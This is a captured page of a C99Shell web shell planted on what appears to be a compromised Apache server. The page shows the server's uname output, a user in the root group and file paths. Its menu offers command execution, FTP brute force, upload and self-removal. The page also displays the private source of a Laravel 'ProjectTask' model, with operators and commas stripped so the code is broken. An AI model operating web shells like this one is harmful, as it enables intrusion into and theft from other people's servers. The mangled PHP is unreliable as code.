!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/app/Models/   drwxr-xr-x
Free 28.64 GB of 117.98 GB (24.27%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ProjectTask.php (6.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Models;

use 
App\Models\ActivityLog;
use 
App\Models\TaskChecklist;
use 
App\Models\TaskComment;
use 
App\Models\TaskFile;
use 
App\Models\User;
use 
App\Models\Utility;
use 
Illuminate\Database\Eloquent\Model;

class 
ProjectTask extends Model
{
    protected 
$fillable = [
        
'name',
        
'description',
        
'estimated_hrs',
        
'start_date',
        
'end_date',
        
'priority',
        
'priority_color',
        
'assign_to',
        
'project_id',
        
'milestone_id',
        
'stage_id',
        
'order',
        
'created_by',
        
'is_favourite',
        
'is_complete',
        
'marked_at',
        
'progress',
    ];

    public static 
$priority = [
        
'critical' => 'Critical',
        
'high' => 'High',
        
'medium' => 'Medium',
        
'low' => 'Low',
    ];

    public static 
$priority_color = [
        
'critical' => 'danger',
        
'high' => 'warning',
        
'medium' => 'primary',
        
'low' => 'info',
    ];

    public function 
milestone()
    {
        return 
$this->hasOne('App\Models\Milestone''id''milestone_id');
    }
    
    public function 
users()
    {
        return 
User::whereIn('id'explode(','$this->assign_to))->get();
    }

    
// Task.php model


    
private static $user NULL;
    private static 
$data NULL;

    public static function 
getusers()
    {
        
$data = [];
        if (
self::$user == null) {
            
$user User::get();
            
self::$user $user;
            foreach (
self::$user as $user) {
                
$data[$user->id]['id'] = $user->id;
                
$data[$user->id]['name'] = $user->name;
                
$data[$user->id]['avatar'] = $user->avatar;

            }
            
self::$data $data;
        }
        return 
self::$data;
    }
    public function 
project()
    {
        return 
$this->hasOne('App\Models\Project''id''project_id');
    }

    public function 
stage()
    {
        return 
$this->hasOne('App\Models\TaskStage''id''stage_id');
    }

    public function 
taskProgress($project)
    {
        
// $project = Project::find($this->project_id);

        
$percentage 0;

        
$total_checklist $this->checklist->count();
        
$completed_checklist $project->checklist->where('status''=''1')->count();

        if (
$total_checklist 0) {
            
$percentage intval(($completed_checklist $total_checklist) * 100);
        }

        
$color Utility::getProgressColor($percentage);

        return [
            
'color' => $color,
            
'percentage' => $percentage '%',
        ];
    }

    public function 
task_user()
    {
        return 
$this->hasOne('App\Models\User''id''assign_to');
    }
    public function 
checklist()
    {
        return 
$this->hasMany('App\Models\TaskChecklist''task_id''id')->orderBy('id''DESC');
    }

    public function 
taskFiles()
    {
        return 
$this->hasMany('App\Models\TaskFile''task_id''id')->orderBy('id''DESC');
    }

    public function 
comments()
    {
        return 
$this->hasMany('App\Models\TaskComment''task_id''id')->orderBy('id''DESC');
    }

    public function 
countTaskChecklist()
    {
        return 
$this->checklist->where('status''='1)->count() . '/' $this->checklist->count();
    }

    public static function 
deleteTask($task_ids)
    {
        
$status false;

        foreach (
$task_ids as $key => $task_id) {
            
$task ProjectTask::find($task_id);

            if (
$task) {
                
// Delete Attachments
                
$taskattachments TaskFile::where('task_id''='$task->id);
                
$attachmentfiles $taskattachments->pluck('file')->toArray();
                
Utility::checkFileExistsnDelete($attachmentfiles);
                
$taskattachments->delete();

                
// Delete Timesheets
                
$task->timesheets()->delete();

                
// Delete Checklists
                
TaskChecklist::where('task_id''='$task->id)->delete();

                
// Delete Comments
                
TaskComment::where('task_id''='$task->id)->delete();

                
// Delete Task
                
$status $task->delete();
            }
        }
        return 
true;
    }

    public function 
activity_log()
    {
        return 
ActivityLog::where('user_id''='\Auth::user()->id)->where('project_id''='$this->project_id)->where('task_id''='$this->id)->get();
    }

    
// Return milestone wise tasks
    
public static function getAllSectionedTaskList($request$project$filterdata = [], $not_task_ids = [])
    {
        
$taskArray $sectionArray = [];
        
$counter 1;
        
$taskSections $project->tasksections()->pluck('title''id')->toArray();

        
$section_ids array_keys($taskSections);
        
$task_ids Project::getAssignedProjectTasks($project->idnull$filterdata)->whereNotIn('milestone_id'$section_ids)->whereNotIn('id'$not_task_ids)->orderBy('id''desc')->pluck('id')->toArray();

        if (!empty(
$task_ids) && count($task_ids) > 0) {
            
$counter 0;
            
$taskArray[$counter]['section_id'] = 0;
            
$taskArray[$counter]['section_name'] = '';
            
$taskArray[$counter]['sectionsClass'] = 'active';
            foreach (
$task_ids as $task_id) {
                
$task ProjectTask::find($task_id);
                
$taskCollectionArray $task->toArray();
                
$taskCollectionArray['taskinfo'] = json_decode(app('App\Http\Controllers\ProjectTaskController')->getDefaultTaskInfo($request$task->id), true);

                
$taskArray[$counter]['sections'][] = $taskCollectionArray;
            }
            
$counter++;
        }
        if (!empty(
$section_ids) && count($section_ids) > 0) {
            foreach (
$taskSections as $section_id => $section_name) {
                
$tasks Project::getAssignedProjectTasks($project->idnull$filterdata)->where('project_tasks.milestone_id'$section_id)->whereNotIn('id'$not_task_ids)->orderBy('id''desc')->get()->toArray();
                
$taskArray[$counter]['section_id'] = $section_id;
                
$taskArray[$counter]['section_name'] = $section_name;
                
$sectiontasks $tasks;

                foreach (
$tasks as $onekey => $onetask) {
                    
$sectiontasks[$onekey]['taskinfo'] = json_decode(app('App\Http\Controllers\ProjectTaskController')->getDefaultTaskInfo($request$onetask['id']), true);
                }

                
$taskArray[$counter]['sections'] = $sectiontasks;
                
$taskArray[$counter]['sectionsClass'] = 'active';
                
$counter++;
            }
        }

        return 
$taskArray;
    }

    public function 
timesheets()
    {
        return 
$this->hasMany('App\Models\Timesheet''task_id''id')->orderBy('id''desc');
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0053 ]--